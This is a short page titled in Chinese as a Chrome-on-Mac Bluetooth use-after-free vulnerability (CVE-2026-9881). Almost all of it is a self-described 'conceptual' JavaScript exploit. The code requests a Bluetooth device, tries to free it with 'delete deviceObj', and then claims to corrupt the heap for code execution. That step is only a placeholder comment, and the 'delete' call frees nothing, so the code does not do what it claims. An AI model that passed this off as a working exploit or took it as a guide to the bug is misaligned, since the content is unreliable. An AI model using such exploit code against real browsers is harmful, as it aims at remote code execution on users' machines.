CVE-2026-9881 Chrome Mac蓝牙释放后重用漏洞

// Conceptual PoC for CVE-2026-9881 // Triggering Use After Free in Chrome Bluetooth API function exploit() { // Step 1: Request access to a Bluetooth device to allocate memory navigator.bluetooth.requestDevice({ acceptAllDevices: true, optionalServices: ['battery_service'] }).then(device => { console.log('[+] Device connected:', device.id); // Step 2: Trigger the vulnerable sequence // Simulate operations that cause the object to be freed // while still retaining a reference in the extension context triggerVulnerableFree(device); // Step 3: Use After Free // Attempt to access the freed memory to corrupt the heap // This part attempts to gain code execution device.gatt.connect().then(server => { // Manipulate the freed object here console.log('[*] Attempting to exploit UAF condition...'); // Hypothetical memory corruption payload }); }).catch(error => { console.error('[-] Exploit failed:', error); }); } // Helper to simulate the vulnerable condition function triggerVulnerableFree(deviceObj) { // Specific sequence of API calls required to trigger the bug // Implementation depends on internal Chromium logic delete deviceObj; }